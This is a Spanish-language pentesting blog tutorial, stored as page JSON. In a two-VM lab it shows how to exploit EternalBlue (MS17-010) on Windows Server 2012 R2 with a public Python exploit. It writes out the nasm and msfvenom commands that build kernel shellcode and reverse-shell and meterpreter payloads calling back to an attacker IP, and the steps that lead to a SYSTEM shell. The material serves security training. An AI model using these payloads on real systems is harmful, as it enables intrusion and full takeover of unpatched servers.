[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fuNULn656G77ksNrZ7DDx4qVbCF4-xbPzj3QjRQOpbeI":3},{"slug":4,"title":5,"summary":6,"category":7,"author":10,"image_url":16,"image_thumb_url":16,"published_at":17,"updated_at":18,"body_html":19,"keywords":20,"reading_time_minutes":21,"related_articles":22,"related_course":55,"related_specialty":75},"explotando-windows-2012-r2-con-eternalblue","Explotando Windows 2012 R2 con EternalBlue","En el post anterior (Usando el exploit EternalBlue de la NSA) pudimos ver cómo utilizar diversos módulos de Metasploit para explotar la vulnerabilidad que afecta al servicio SMBv1 en los sistemas operativos Windows 7 y 2008 R2 (x86\u002Fx64).",{"slug":8,"name":9},"pentesting","Pentesting ",{"username":11,"name":12,"avatar_url":13,"headline":14,"aboutme":15},"Funpunch","Andres Galeano","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBbThGIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--e169c1f44d47457dda7935fcd906ce67cf324bbe\u002Ffoto.jpg","Consultor de seguridad informática","Consultor de seguridad informática. Especialista VOIP.","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBalFPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--70561734d9e8a3715c340c8ff3adf364fae2d8fb\u002Fshutterstock_1148033585.jpg","2017-07-01T14:21:55-04:00","2026-10-26T09:54:16-03:00","\u003Cp>En el post anterior (\u003Ca href=\"http:\u002F\u002Fbacktrackacademy.com\u002Farticulo\u002Fms17-010-eternalblue-doublepulsar\">\u003Cstrong>Usando el exploit EternalBlue de la NSA\u003C\u002Fstrong>\u003C\u002Fa>) pudimos ver cómo utilizar diversos módulos de Metasploit para explotar la vulnerabilidad que afecta al servicio \u003Cstrong>SMBv1\u003C\u002Fstrong> en los sistemas operativos \u003Cstrong>Windows 7\u003C\u002Fstrong> y \u003Cstrong>2008 R2 (x86\u002Fx64)\u003C\u002Fstrong>.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cstrong>Microsoft Bulletin: \u003C\u002Fstrong>\u003Ca href=\"https:\u002F\u002Ftechnet.microsoft.com\u002Fen-us\u002Flibrary\u002Fsecurity\u002Fms17-010.aspx\">MS17-010(Critical)\u003C\u002Fa>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cdiv>\r\n\u003Cp>\u003Cstrong>Common Vulnerabilities and Exposures: \u003C\u002Fstrong>\u003Ca href=\"https:\u002F\u002Fwww.cve.mitre.org\u002Fcgi-bin\u002Fcvename.cgi?name=CVE-2017-0143\">CVE-2017-0143\u003C\u002Fa>\u003C\u002Fp>\r\n\u003C\u002Fdiv>\r\n\u003Cdiv> \u003C\u002Fdiv>\r\n\u003Cp>En esta oportunidad vamos a ver como explotar la misma vulnerabilidad en sistemas \u003Cstrong>Windows 2012 R2 (x64).\u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>Nos vamos a basar en el Paper que público \u003Cstrong>\u003Ca href=\"https:\u002F\u002Ftwitter.com\u002Funapibageek\">Sheila Berta\u003C\u002Fa> \u003C\u002Fstrong>en Exploit-DB\u003Cstrong>.\u003C\u002Fstrong>(\u003Cstrong>\u003Ca href=\"https:\u002F\u002Fwww.exploit-db.com\u002Fdocs\u002F42281.pdf\">ESPAÑOL\u003C\u002Fa>\u002F\u003Ca href=\"https:\u002F\u002Fwww.exploit-db.com\u002Fdocs\u002F42280.pdf\">INGLES\u003C\u002Fa>\u003C\u002Fstrong>)\u003C\u002Fp>\r\n\u003Cp>Este Paper explica el uso de una versión de EternalBlue \u003Cspan>desarrollada en Python \u003C\u002Fspan>\u003Cspan>por \u003C\u002Fspan>\u003Ca href=\"https:\u002F\u002Ftwitter.com\u002Fsleepya\">\"\u003Cstrong>Sleepya_\u003C\u002Fstrong>\"\u003C\u002Fa>\u003Cspan>(Worawit Wang). \u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Para que podamos llevar a cabo la practica de manera sencilla, vamos a necesitar una maquina virtual con \u003Cstrong>Kali 2017.1\u003C\u002Fstrong>, y otra con un \u003Cstrong>Windows 2012 R2.\u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh3.googleusercontent.com\u002FZspbhOnf_GFywCiS69z5XfAJreow9osmhP22bweBfNQlhHh04eB8QHVOouZ0wOp-eGOeK9fxJ1mmh3z9-H0VPkX6jqzsY3pa5pSJqzpIpNrgu9k-IH8cGXvd-4qxiyRTiOquzIUr\" width=\"566\" height=\"383\">\u003Cspan>\u003Cbr>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>\u003Cstrong>\u003Cspan>I\u003C\u002Fspan>\u003Cspan>magen 1 - Windows 2012 R2 (x64)\u003C\u002Fspan>\u003C\u002Fstrong>\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>La vulnerabilidad puede ser explotada en el caso de que este activo el usuario \u003Cstrong>Guest\u003C\u002Fstrong> o bien hayamos recopilado previamente las credenciales de un usuario valido, aunque tenga permisos reducidos nos servirá, ya que una vez explotada la vulnerabilidad, siempre recibiremos una terminal de \u003Cstrong>SYSTEM\u003C\u002Fstrong>.\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan> \u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh6.googleusercontent.com\u002FRW3tgs8V7NAE0oWObEP-Hn4eDcL97fzerYQzllCESsZhfjfedzyh31poCcN_hnhMdOpY4gM3W7_tIN9nstijEeMHGD9C6Vb3fZNhzxlMw042tp70bNvkJ9mkAHkELDfXBA6r-13I\" width=\"602\" height=\"341\"> \u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>\u003Cstrong>\u003Cspan>Imagen 2 - Usuario \u003C\u002Fspan>\u003Cspan>estándar\u003C\u002Fspan>\u003C\u002Fstrong>\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan> \u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh5.googleusercontent.com\u002FI0ZO3hHEI7Ain5BJpOw6eR9hg77SPcFBGlKKfTN2wL8SCFDVcWBtSxykL5tc1G35mNzs5AO45gEqakTpXF7PqKH42_mSeeQzLiy_KE_Kc_VdEX22N64exJQAJCGwp_gGweAIttOw\" width=\"602\" height=\"223\">\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>\u003Cspan>Imagen 3 - Usuario Guest habilitado\u003C\u002Fspan>\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan> \u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>Para comprender cómo está conformado el exploit debemos tener en cuenta estos 3 tipos de archivos y cómo vamos a crearlos:\u003C\u002Fp>\r\n\u003Cul>\r\n\u003Cli>\u003Cstrong>Exploit\u003C\u002Fstrong>\u003C\u002Fli>\r\n\u003Cli>\u003Cstrong>Kernel Shellcode\u003C\u002Fstrong>\u003C\u002Fli>\r\n\u003Cli>\u003Cstrong>Userland Shellcode\u003C\u002Fstrong>\u003C\u002Fli>\r\n\u003C\u002Ful>\r\n\u003Cp>\u003Cspan> \u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh5.googleusercontent.com\u002F-Tr-9ofsVq8bKFe_3sUH6qsnMLXSmSzrXPN3p44ldKXaaM9NRObMVeypAHIWwtV_POjjtZj0QAayGcqHWNpQWUbsP5-xZgTxSj1_iUYDaoJieS7303KmAP8YXYjBwBNL3QsCrApt\" width=\"463\" height=\"352\"> \u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>\u003Cspan>Imagen 4 - Gráfico de guía\u003C\u002Fspan>\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cspan> \u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh5.googleusercontent.com\u002FQZXcK_gIBTA1PlK-oenu3CM3yWL-z5XPOwceR2O2xbNhcnDTg6jkkgdpFQsjIxP5EZCg8u4LVEJy6-QrdVsVlkolFAoq2nlfyhDcy_qMzjvuyRoJVodfjZPCjiFwRwAMNXp713d6\" width=\"468\" height=\"352\">\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>\u003Cspan>Imagen 5 - Gráfico de guía \u003C\u002Fspan>\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cspan>\u003Cspan> \u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Ch3>\u003Cstrong>Paso 1: Crear Kernel Shellcode\u003C\u002Fstrong>\u003C\u002Fh3>\r\n\u003Cp>Lo primero que deberemos hacer es ensamblar el \u003Cstrong>Kernel Shellcode\u003C\u002Fstrong> que creo Sleepya, podremos copiar el código del siguiente enlace: \u003Ca href=\"https:\u002F\u002Fgist.github.com\u002Fworawit\u002F05105fce9e126ac9c85325f0b05d6501#file-eternalblue_x64_kshellcode-asm\">\u003Cstrong>https:\u002F\u002Fgist.github.com\u002Fworawit\u002F05105fce9e126ac9c85325f0b05d6501#file-eternalblue_x64_kshellcode-asm\u003C\u002Fstrong>\u003C\u002Fa>\u003Ca href=\"https:\u002F\u002Fgist.github.com\u002Fworawit\u002F05105fce9e126ac9c85325f0b05d6501#file-eternalblue_x64_kshellcode-asm\">\u003Cstrong>\u003Cbr>\u003C\u002Fstrong>\u003C\u002Fa>\u003C\u002Fp>\r\n\u003Cp>El código que acabamos de copiar lo pegamos dentro de un archivo al que nombraremos: \u003Cstrong>kernel_shell_x64.asm \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>Para ensamblarlo ejecutaremos el comando:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>nasm -f bin kernel_shell_x64.asm\u003C\u002Fpre>\r\n\u003Cp>\u003Cspan>Como resultado nos generara un archivo llamado: \u003C\u002Fspan>\u003Cstrong>kernel_shell_x64\u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh4.googleusercontent.com\u002FAqQgVuEcA_gU_j8yLC81_BjhSQfEf0ygLL08CpyZ6qL-TJaaipMekduCUYwnSbCNHNKPF5wIxKJLx5ZByFhsPArky7tZHjtxKTngXKunsnDmbq7j_mu9mZ0Mdu5GdSYwR1tDEL_b\" width=\"602\" height=\"141\">\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>\u003Cspan>Imagen 6 - Creación de kernel_shell_x64\u003C\u002Fspan>\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cspan>\u003Cspan> \u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cdiv>\r\n\u003Ch3>\u003Cstrong>Paso 2: Crear Userland Shellcode (Payload)\u003C\u002Fstrong>\u003C\u002Fh3>\r\n\u003C\u002Fdiv>\r\n\u003Cdiv>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fdiv>\r\n\u003Cp>El próximo paso es crear un \u003Cstrong>Userland Shellcode\u003C\u002Fstrong> (Para simplificarlo, sería crear un archivo binario el cual contendrá nuestro payload), para llevar a cabo esta tarea será necesario utilizar la herramienta \u003Cstrong>msfvenom\u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>Como demostración se creará 2 tipos de payload: una\u003Cstrong> shell reversa vía TCP\u003C\u002Fstrong> y una sesión de \u003Cstrong>meterpreter.\u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cpre>msfvenom -p windows\u002Fx64\u002Fshell\u002Freverse_tcp -f raw -o shell_msf.bin EXITFUNC=thread LHOST=[IP_ATACANTE] LPORT=4444\u003C\u002Fpre>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh5.googleusercontent.com\u002Fwcj9Cm2mEH_KwqLJ7NjMrPaJf5BjB8zrYcNtoiUIsSBlnITcHLLXPrJGFXG6ggllBmPDY6wZVy7sHcgXHywSZBr63G-b-OqSL5DijqRjHuTuOFzbUGe1Y7QlQLIy-OnLzVEQIvHQ\" width=\"602\" height=\"124\">\u003Cspan> \u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>\u003Cstrong>Imagen 7 - \u003C\u002Fstrong>\u003Cstrong> Payload Shell reversa vía TCP\u003C\u002Fstrong>\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cpre>msfvenom -p windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp -f raw -o meterpreter_msf.bin EXITFUNC=thread LHOST=[IP_ATACANTE] LPORT=4444 \u003C\u002Fpre>\r\n\u003Cp>\u003Cspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh5.googleusercontent.com\u002FuW8zjX-_yDLyqovwkEQrWDfE4cP7xXuS5ctzwR_T4QyI7o1111QjhVE2KYjyEWP1BvEU4LMls5lPBxsLrvEFtaYc-gisOkRQBDW3rWSWtMcrnuz2dbhG0e2fByR2gJCQSTOKZshM\" width=\"602\" height=\"107\">\u003Cstrong>\u003Cbr>\u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>\u003Cstrong>Imagen 8 - \u003C\u002Fstrong>\u003Cstrong> Payload Meterpreter\u003C\u002Fstrong>\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cspan>Una vez que tengamos creados nuestros payloads lo que deberemos hacer es concatenar cada uno con el archivo  con el \u003C\u002Fspan>\u003Cstrong>kernel_shell_x64,\u003C\u002Fstrong>\u003Cspan> de esta manera generaremos nuevos binarios, los cuales utilizaremos en la última etapa.\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan> \u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cpre>cat kernel_shell_x64 shell_msf.bin &gt; reverse_shell.bin\u003C\u002Fpre>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh4.googleusercontent.com\u002FTdpx1qYJCW60XsuMOlZIf8ldQ5g3JSo0Hx37bF7oZCi9vdJxcGq2kmSD8bj37M4-u1wSeDTTFlcqeGrR7rU5Bj7pE30Wg-JutwUdmTXEp2j9ml4P8Hrbj5mjFiQTZwNdQywIC6HM\" width=\"602\" height=\"69\">\u003Cstrong>\u003Cbr>\u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>\u003Cstrong>Imagen 9 - reverse_shell.bin\u003C\u002Fstrong>\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh4.googleusercontent.com\u002F4nDKUSR32Yw0lpDy5I2rSvDGqH03WB1c7JSswVKeV9Dy59RgnR6MKKf_gcMaaGWLlsj3Ly4AZ5TWvRmflmHDuEmxx0Lr-XDtwBnBGQ9KfBQHqc_OvFWSuW9um3CEc00iXHhPbHVS\" width=\"602\" height=\"83\">\u003Cstrong>\u003Cbr>\u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>\u003Cstrong>I\u003C\u002Fstrong>\u003Cstrong>magen 10 - meterpreter.bin\u003C\u002Fstrong>\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>Creamos una carpeta llamada binarios en la cual vamos a copiar los archivos \u003C\u002Fspan>\u003Cstrong>meterpreter.bin \u003C\u002Fstrong>\u003Cspan>y \u003C\u002Fspan>\u003Cstrong>reverse_shell.bin\u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>\u003Cspan>mkdir binarios \u003Cbr>\u003C\u002Fspan>\u003Cspan>cp reverse_shell.bin meterpreter.bin binarios\u002F\u003Cbr>\u003C\u002Fspan>cd binarios\u002F\u003Cbr>ls\u003C\u002Fpre>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh3.googleusercontent.com\u002Fx7b6t3yoU8LhYuXYup17qFZHICrMhxMbGfBdCxUQAOBc-Ge9E6KRxIUo99AFApkaOu_O7h2nYpqR5yYucSa9p7ODB6BNVXWuSxvRQfC0MALn-pJHjz8kOTRamzz-JBDVL5W7FftT\" width=\"602\" height=\"85\">\u003Cspan> \u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>\u003Cstrong>Imagen 11 - Creación de carpeta binarios y copia de archivos\u003C\u002Fstrong>\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cdiv>\r\n\u003Ch3>\u003Cstrong>Paso 3: Crear exploit.py\u003C\u002Fstrong>\u003C\u002Fh3>\r\n\u003C\u002Fdiv>\r\n\u003Cdiv> \u003C\u002Fdiv>\r\n\u003Cp>Crearemos el archivo exploit.py, el código lo podremos conseguir en el github de Sleepya: \u003Ca href=\"https:\u002F\u002Fgist.github.com\u002Fworawit\u002F074a27e90a3686506fc586249934a30e\">https:\u002F\u002Fgist.github.com\u002Fworawit\u002F074a27e90a3686506fc586249934a30e\u003C\u002Fa>\u003C\u002Fp>\r\n\u003Cdiv>\u003Cspan> \u003C\u002Fspan>\u003C\u002Fdiv>\r\n\u003Cdiv>\u003Cspan> \u003C\u002Fspan>\u003C\u002Fdiv>\r\n\u003Cdiv>\n\u003Cimg src=\"https:\u002F\u002Flh4.googleusercontent.com\u002FlGKF0zg_hBXaQ8i6dVmMkOpFy84LJrK06assz3nmjaA7CgPM6fNnkmr-4v4hygfQrJJ11oA-BOiCHz32n0HaSrkjxaqFMYOotbmFelrRNcpgFOcicgJ1BJC9AK0PJpszuDxawoi2\" width=\"538\" height=\"65\">\u003Cstrong>\u003Cbr>\u003C\u002Fstrong>\n\u003C\u002Fdiv>\r\n\u003Cdiv>Imagen 12 - Creación de archivo exploit.py\u003C\u002Fdiv>\r\n\u003Cdiv> \u003C\u002Fdiv>\r\n\u003Ch3>\u003Cstrong>Paso 4: Configurar el exploit.py con el usuario correspondiente\u003C\u002Fstrong>\u003C\u002Fh3>\r\n\u003Cp>Tal como habíamos indicado anteriormente podríamos utilizar el usuario Guest en el caso que este activo o bien, un usuario con permisos estándar.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh4.googleusercontent.com\u002FkoSzI4fzKI4wi9IuOpfm7VMkGam1pdHs1K8AWwj4wQNn50FCKp97WzsO5bhCdDWaXY5-Tj9TeeemPVU8zq-UXIHdDs-G8bNYT6fys3dB2Z8Qn0gIL05E1jdUY2urHNTvxEuthDgR\" width=\"602\" height=\"156\">\u003Cstrong>\u003Cbr>\u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>\u003Cstrong>Imagen 13 - \u003C\u002Fstrong>\u003Cstrong> Configuración de exploit.py con usuario Guest\u003C\u002Fstrong>\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cdiv>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fdiv>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh6.googleusercontent.com\u002Fj7ny4ouxd5aew88lkCI7FvDvSyX-voWQKlomcH0LKXNmeBG6KipU1Am5g7VpY3DVktfWn3HxBhbKNQnEkiPCajaLTx0v5GQvT_BDkfsQ0F5A54b0n7w8sGazX04irqf554muivDu\" width=\"241\" height=\"42\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>\u003Cstrong>Imagen 14 - \u003C\u002Fstrong>\u003Cstrong> Configuración de exploit.py con usuario test\u003C\u002Fstrong>\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cdiv>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fdiv>\r\n\u003Ch3>\u003Cstrong>Paso 5: Poner a la escucha un Handler\u003C\u002Fstrong>\u003C\u002Fh3>\r\n\u003Ch3> \u003C\u002Fh3>\r\n\u003Ch3>\n\u003Cimg src=\"https:\u002F\u002Flh4.googleusercontent.com\u002FtNPLfKNdLGsBrv-cRPzUSQOLSztMkiCtduohV-fiZeQ-vyD-SPem7L-k68ZiIwIXxpadHBRzQFGcYUfmJ0IxeJD8RBUpuQs53tNW9JwLWXcCfrPHtHZt9MrUARZJufdqInJYvJvE\" width=\"594\" height=\"193\">\u003Cstrong>\u003Cbr>\u003C\u002Fstrong>\n\u003C\u002Fh3>\r\n\u003Cp>\u003Cem>Imagen 15 -  Handler (Payload: windows\u002Fx64\u002Fshell\u002Freverse_tcp)\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Ch3>\u003Cspan>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh3.googleusercontent.com\u002FFVlLJtE-6nKyTgcZh_rJITih2Mh2L5sw8Tfhdm8KZgvQeK5yIPTeNn1vDNykqNEpW8wvlBz1UqCU_HaEF_P8DgTuQ_hwuXnGF51eFh_IXPfrErxVMZfUo_NdAfnSVcFbp4ZwkZ9g\" width=\"602\" height=\"161\">\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fh3>\r\n\u003Cp>\u003Cem>\u003Cspan>Imagen 16 -  Handler (Payload: windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp)\u003C\u002Fspan>\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Ch3>Paso 6: Ejecutar el exploit\u003C\u002Fh3>\r\n\u003Cp>En este paso lanzaremos el ataque con el exploit.py y el binario que contendrá el payload de la shell reversa o bien el de la sesión de meterpreter.\u003C\u002Fp>\r\n\u003Cp>El parámetro con valor “500” corresponde al “numGroomConn”. El ajustar la cantidad de conexiones “Groom” ayuda a alcanzar un pool de memoria contigua en el kernel para que la sobreescritura del buffer termine en la ubicación que deseamos y lograr ejecutar la shellcode correctamente.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh3.googleusercontent.com\u002FR8B0PRpsRxxegDEh20WF7aUDNwT9Xh5UYdiNPMzCUJ5LMUlwZENYAEmaLdCqolfuTXDsc4qnjcYTW8z7oTX5bvhb6VV-e-CCtoglR_LDtlposcaltnQWiz9DDL7sk3QJUtPHzwKZ\" width=\"602\" height=\"219\">\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>\u003Cspan>Imagen 17 -  Explotación con el payload reverse_shell.bin\u003C\u002Fspan>\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan> \u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cdiv>\u003Cimg src=\"https:\u002F\u002Flh5.googleusercontent.com\u002FwS1BBsLPYrRBEkAW2DFj-m1yWJDizIqQfXy8h7ekZ-y91ZGLjEWYTv5b_mdBiPgJ5-iUADUSt_ZDgu0RZ4DYl1uMbGqbxq1LR-ik-VTriARj7mWD8hzATvzuL5WeXTF8bW4ExZHX\" width=\"602\" height=\"136\">\u003C\u002Fdiv>\r\n\u003Cp>\u003Cem>Imagen 18 -  Explotación con el payload meterpreter.bin\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Ch3>Paso 7: Resultado\u003C\u002Fh3>\r\n\u003Ch3>\u003Cspan>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh3.googleusercontent.com\u002F1sAfEDyQoQgHK0J4lPyW8Bfs3CoL27KDbtq5hiqOcIAZzIkiyHgwh1XeQAMg6tpVAx9Na_cUcgXNECxuJs9yoA5CrZbIvGeDmnNvAXInL64uzzX4vDHM4vuhA2goTBRMj7Etu-18\" width=\"539\" height=\"267\">\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fh3>\r\n\u003Cp>\u003Cem>\u003Cspan>Imagen 19 -  Resultado de Payload Shell Reversa\u003C\u002Fspan>\u003C\u002Fem>\u003Cspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Ch3>\n\u003Cspan>\u003Cspan> \u003C\u002Fspan>\u003C\u002Fspan>\u003Cimg src=\"https:\u002F\u002Flh5.googleusercontent.com\u002Fgk1vl2384nRUMqVIKcGmVcigTlnwQ6AVNH5AkXPlMlK8dXvTEV-4m7rF6wQlwX65t8mRufbLBzyC0tr5Tbg7wwqbhs6o7RJx0eFiMxUHDUXA2y0M_xYfbLbNHs5qIf_PYVKdg3tb\" width=\"602\" height=\"244\">\n\u003C\u002Fh3>\r\n\u003Cp>\u003Cem>\u003Cstrong>Imagen 20 - \u003C\u002Fstrong>\u003Cstrong> Resultado de Payload Meterpreter\u003C\u002Fstrong>\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Como pueden ver, funciona muy bien esta versión de EternalBlue. Por el momento no hay ningún módulo para Metasploit. De todas maneras no hay que perder de vista los avances de Sheila (@unapibageek), Sean Dillon (@zerosum0x0) \u002F Dylan Davis(@jennamagius) y Sleepya(@sleepya).\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Recuerden que si desean conocer mas sobre la explotación pueden ver los informes originales:\u003C\u002Fp>\r\n\u003Cul>\r\n\u003Cli>-\u003Ca href=\"https:\u002F\u002Fwww.exploit-db.com\u002Fdocs\u002F42281.pdf\">EXPLOTAR ETERNALBLUE PARA OBTENER UNA SHELL DE METERPRETER EN WINDOWS SERVER 2012 R2\u003C\u002Fa>\n\u003C\u002Fli>\r\n\u003Cli>-\u003Ca href=\"https:\u002F\u002Fgist.github.com\u002Fworawit\u002F05105fce9e126ac9c85325f0b05d6501#file-eternalblue_x64_kshellcode-asm\">GIT-HUB DE SLEEPYA\u003C\u002Fa>\n\u003C\u002Fli>\r\n\u003C\u002Ful>\r\n\u003Cp>\u003Cspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>Hasta la próxima vulnerabilidad :) \u003C\u002Fp>\r\n\u003Cp>\u003Cspan> \u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>","Eternalblue",4,[23,35,44],{"slug":24,"title":25,"summary":26,"category":27,"author":28,"image_url":32,"image_thumb_url":32,"published_at":33,"updated_at":34},"write-up-maquina-webdeveloper1-de-vulnhub","Write-up máquina WebDeveloper1 de VulnHub","Buenas, soy Martin Frias (otra vez), en unos días se hará público mi primer curso en esta plataforma llamado “Hacking Ético boot2root”, en este curso abordaremos cómo es la resolución de una máquina tipo boot2root que yo elabore, ColddBox: Easy, disponible tanto en VulnHub como en TryHackMe.",{"slug":8,"name":9},{"username":29,"name":30,"avatar_url":31},"coldd","Martin Frias",null,"https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBZzBQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--9088ff4d9195016e15c3d716536a9879894e0d65\u002Fshutterstock_1269857698.jpg","2021-04-15T16:16:19-04:00","2026-10-26T11:48:31-03:00",{"slug":36,"title":37,"summary":38,"category":39,"author":40,"image_url":41,"image_thumb_url":41,"published_at":42,"updated_at":43},"uso-de-foca-para-extraer-metadatos","Uso de FOCA para extraer metadatos.","FOCA es una herramienta que permite extraer los metadatos de un fichero y\u002Fo buscar ficheros en una determinada web para posteriormente extraer sus metadatos, bien los metadatos básicamente son un grupo de datos que describen otros datos, es información “oculta” que puede existir dentro de algún fichero o incluso en las llamadas telefónicas y que nos proporciona más información sobre 